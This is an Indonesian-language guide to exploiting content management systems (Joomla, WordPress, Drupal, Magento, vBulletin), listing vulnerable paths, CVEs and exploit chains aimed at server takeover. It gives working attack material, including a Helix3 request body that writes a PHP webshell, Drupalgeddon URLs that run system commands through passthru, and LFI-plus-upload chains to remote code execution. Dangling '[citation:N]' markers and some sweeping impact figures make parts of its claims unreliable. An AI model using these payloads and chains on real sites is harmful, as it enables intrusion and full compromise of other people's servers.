CMS Exploitation adalah seni mengeksploitasi kerentanan pada Content Management System populer — Joomla, WordPress, Drupal, Magento, dan vBulletin. Banyak serangan terjadi bukan pada core code, melainkan pada plugin, komponen, tema, atau modul pihak ketiga yang sudah usang. kali ini membahas path rentan, CVE, metode eksploitasi, dan teknik chaining yang paling sering digunakan di lapangan.

[JOOMLA — PATH & KOMPONEN RENTAN]

Struktur URL Joomla: /index.php?option=com_[nama]&view=[nama]&...

/administrator/ → Backend admin Joomla (sering jadi target brute force)

/components/com_[nama]/ → Direktori komponen — tempat celah bersarang

/plugins/ → Sistem plugin — sering jadi vektor LFI atau XSS

/templates/ → Tema — bisa dimanfaatkan untuk file upload atau RCE

• com_media — Path Traversal (CVE-2026-40384)
  Improper validation pada search parameter di com_media files API endpoint menyebabkan path traversal [citation:2][citation:14].
  Path rentan:
  /index.php?option=com_media&view=images&tmpl=component&…
  Dampak: Akses arbitrary file di server (CWE-22) [citation:2].
• com_media — Incorrect Access Control (CVE-2026-48947)
  Improper access check memungkinkan privileged user overwrite media files tanpa izin [citation:8].
  Versi terpengaruh:
  Joomla 4.1.0 – 5.4.6, 6.0.0 – 6.1.1
  Solusi: Upgrade ke 5.4.7 atau 6.1.2 [citation:8].
• Helix3 (JoomShaper) — Unauthenticated AJAX RCE (CVE-2026-49049)
  Handler onAjaxHelix3() di /plugins/ajax/helix3/helix3.php reachable via com_ajax tanpa autentikasi [citation:3][citation:9][citation:15].
  Path rentan:
  POST /index.php?option=com_ajax&plugin=helix3&format=json
  Payload:
  data[action]=save&data[layoutName]=../../up.php&data[content]=<?php system($_GET[‘cmd’]); ?>
  Exploit: Arbitrary JSON file write + path traversal → RCE via double-extension webshell [citation:3][citation:15].
  Versi terpengaruh: Helix3 1.0 – 3.1.0 (patched di 3.1.1+) [citation:3][citation:9].
• jDownloads — Unauthenticated File Upload → RCE (CVE-2026-61900)
  Standalone file upload handler di /administrator/components/com_jdownloads/assets/upload/upload-handler.php — tidak ada JEXEC guard, session check, CSRF token [citation:4][citation:10].
  CVSS 4.0 Base Score: 10.0 (Critical) [citation:4]
  Versi terpengaruh:
  jDownloads 4.1.0 – 4.1.5
  Exploit: Upload arbitrary file — RCE via Apache AddHandler multi-extension [citation:4].
  Solusi: Upgrade ke jDownloads 4.1.6 (rilis 18 Juli 2026) [citation:4].
• com_k2 — Legacy SQL Injection & XSS
  Komponen CCK yang sudah tidak di-maintain. Sering ditemukan SQL Injection dan XSS.
  Path rentan:
  /index.php?option=com_k2&view=item&id=[ID]

⚠️ Joomla Exploit Chain: CVE-2026-40384 (LFI di com_media) → baca /configuration.php → dapatkan kredensial database → CVE-2026-49049 (RCE via Helix3) → full server takeover. Satu celah bisa menjadi pintu masuk ke seluruh server.

[WORDPRESS — WP2SHELL & CVE 2026]

WP2shell — Two-Flaw Unauthenticated RCE Chain

Menggabungkan CVE-2026-60137 (SQL Injection) + CVE-2026-63030 (REST API Batch Route Confusion) [citation:1][citation:7].

CVE-2026-60137: SQL Injection di parameter author__not_in pada class WP_Query [citation:1][citation:7].

CVE-2026-63030: REST API batch-route confusion di endpoint /wp-json/batch/v1 — memperparah SQLi menjadi RCE [citation:1][citation:7].

Versi terpengaruh: WordPress 6.8.0–6.8.5 (SQLi only), 6.9.0–6.9.4, 7.0.0–7.0.1 (Full RCE) [citation:1][citation:7].

• WP2shell — Zero Plugin, Zero Interaction RCE
  Searchlight Cyber researcher Adam Kues menemukan chain ini. Public exploit sudah tersedia di GitHub [citation:1][citation:13].
  Alur exploit:
  1. REST API batch endpoint reachable
  2. Batch route confusion → SQL injection mencapai WP_Query
  3. Blind SQL channel → manipulasi application state
  4. Privilege escalation → administrator account creation
  5. Authenticated code execution → full server compromise
  WordPress sudah rilis emergency update 6.9.5, 7.0.2, dan 6.8.6 pada 18 Juli 2026 [citation:1].
• LFI + File Upload di wp-content/uploads/
  WordPress menyimpan semua file upload di /wp-content/uploads/tahun/bulan/. Attacker bisa upload shell via plugin upload, theme upload, atau media library.
  Path upload:
  /wp-content/uploads/2026/09/shell.php
  Exploit: Upload .php atau .phtml → akses shell → RCE.
• LFI + Upload = RCE (Chaining)
  Gabungan LFI dan Upload adalah chain paling umum di WordPress.
  Alur:
  1. Upload file teks dengan payload PHP ke /wp-content/uploads/…/shell.txt
  2. LFI untuk memanggil file tersebut: ?file=../../../../uploads/2026/09/shell.txt
  3. Server mengeksekusi payload → RCE

• Elementor Pro — RCE (CVE-2026-32475)
  Kerentanan RCE di Elementor Pro — dieksekusi di alam liar pada hari yang sama ketika CVE dipublikasikan [citation:5].
  Deskripsi:
  Unathenticated attacker bypass file upload check → upload PHP file → RCE
  Wordfence sudah intercept 190.000+ attack attempts sejak 19 Agustus 2026 [citation:5].
  Versi terpengaruh: Elementor Pro ≤ 4.2.1 [citation:5]
  Solusi: Upgrade ke 4.2.2+ [citation:5]
  Path upload: /wp-content/uploads/elementor/forms/ [citation:5]
• Layouts for WPBakery — Missing Authorization (CVE-2026-7726)
  Plugin Layouts for WPBakery versi ≤ 1.1.3 — missing capability check pada callback Layouts_WPB_Remote::template_sync() [citation:6].
  Deskripsi:
  Unathenticated attacker → force server request to external API → write JSON response ke wp_options via set_transient()
  CVSS 3.1: 6.5 MEDIUM [citation:6]
• Elementor Website Builder — Stored XSS (CVE-2026-6127)
  Kerentanan Stored XSS di plugin Elementor Website Builder versi ≤ 4.0.4 [citation:11].
  Deskripsi:
  _elementor_data meta field → sanitization bypass → contributor-level authenticated attacker → inject arbitrary script
• WPBakery Page Builder — Stored XSS (CVE-2026-15101)
  Kerentanan Stored XSS di WPBakery Page Builder versi ≤ 8.7.4 [citation:12].
  Deskripsi:
  vc_raw_html shortcode → base64 encoded payload → no HTML tags to strip → rendered unescaped

💡 WP2shell
Ini adalah zero-plugin, zero-config, zero-interaction RCE chain di core WordPress [citation:1][citation:7].
1. Public exploit tersedia di GitHub [citation:1][citation:13]
2. CVE-2026-60137 (SQLi) + CVE-2026-63030 (REST API batch confusion) [citation:1][citation:7]
3. Attacker bisa membuat akun administrator dan drop arbitrary PHP file [citation:1]
4. WordPress sudah rilis emergency patch: 6.9.5, 7.0.2, 6.8.6 [citation:1]
5. Segera update! Lebih dari 500 juta website di dunia terpengaruh [citation:1]

[DRUPAL — PATH & MODUL RENTAN]

/modules/ → Tempat modul — celah sering di sini

/sites/default/files/ → Upload folder — target LFI

/sites/default/settings.php → File konfigurasi — target utama

/core/ → Core Drupal — serangan RCE terkenal (Drupalgeddon)

• Drupalgeddon RCE
  Seri kerentanan paling terkenal di Drupal — bisa mengeksekusi kode PHP tanpa autentikasi.
  Path rentan:
  /user/register?element_parents=account/mail/%23value&ajax_form=1&_wrapper_format=drupal_ajax
  /user/password?name[#post_render][]=passthru&name[#type]=markup&name[#markup]=id
  Exploit: RCE langsung — eksekusi perintah sistem operasi.
• Hidden Uploader (File Upload Bypass)
  Drupal memiliki fitur upload file di modul seperti file_entity atau imce.
  Path:
  /imce?file=…&cmd=…
  /file/ajax/…/form

Magento — RCE & SQLi

• Magento RCE (CVE-2022-24086, CVE-2023-38950)
  RCE via layout atau block parameter di checkout.
  /checkout/…/?[RCE_payload]
• SQLi di Extension Checkout
  Banyak extension Magento pihak ketiga punya SQL Injection.
  /checkout/cart?product_id=[payload]

vBulletin — RCE & SQLi

• vBulletin 5 RCE (CVE-2019-16759, CVE-2023-30565)
  RCE via /ajax/api/hook/decodeArguments endpoint.
  /ajax/api/hook/decodeArguments?arguments=…
• SQLi di vBulletin 5
  SQL Injection di parameter routestring atau nodeid.
  /forum?routestring=[payload]

• WPScan — wpscan.com — WordPress Vulnerability Scanner
• JoomScan — github.com/rezasp/joomscan — Joomla Vulnerability Scanner
• Drupwn — github.com/epsylon/drupwn — Drupal Vulnerability Scanner
• Nikto & OWASP ZAP — General Web Scanner

• Joomla: CVE-2026-40384 (com_media path traversal), CVE-2026-49049 (Helix3 RCE), CVE-2026-61900 (jDownloads RCE) [citation:2][citation:3][citation:4].
• WordPress: WP2shell (CVE-2026-60137 + CVE-2026-63030) — zero-plugin RCE chain viral Juli 2026 [citation:1][citation:7]. Elementor Pro RCE (CVE-2026-32475) dengan 190.000+ attack attempts [citation:5].
• Drupal: Drupalgeddon RCE (CVE-2018-7600, dll) — masih banyak ditemukan di situs legacy.
• Magento & vBulletin: RCE & SQLi klasik di extension checkout dan API endpoint.
• Segera update! WP2shell menyerang core WordPress tanpa plugin — lebih dari 500 juta website terpengaruh [citation:1].

• WP2shell (WordPress Core RCE):
  CERT.UG — WordPress Core Pre-Authentication RCE Chain “wp2shell” [citation:1]
  CSIRT.SK — WP2shell Technical Analysis [citation:7]
  GitHub — wp2shell PoC [citation:13]
• Joomla CVE 2026:
  CVE-2026-40384 — com_media Path Traversal [citation:2]
  CVE-2026-49049 — Helix3 RCE Scanner [citation:3]
  CVE-2026-61900 — jDownloads RCE [citation:4]
  Joomla Security Centre — CVE-2026-48947 [citation:8]
• WordPress Plugin CVE 2026:
  iThome — Elementor Pro RCE (CVE-2026-32475) [citation:5]
  NVD — CVE-2026-7726 (WPBakery) [citation:6]
• Tools:
  WPScan — WordPress Vulnerability Scanner
  JoomScan — Joomla Vulnerability Scanner
  Drupwn — Drupal Vulnerability Scanner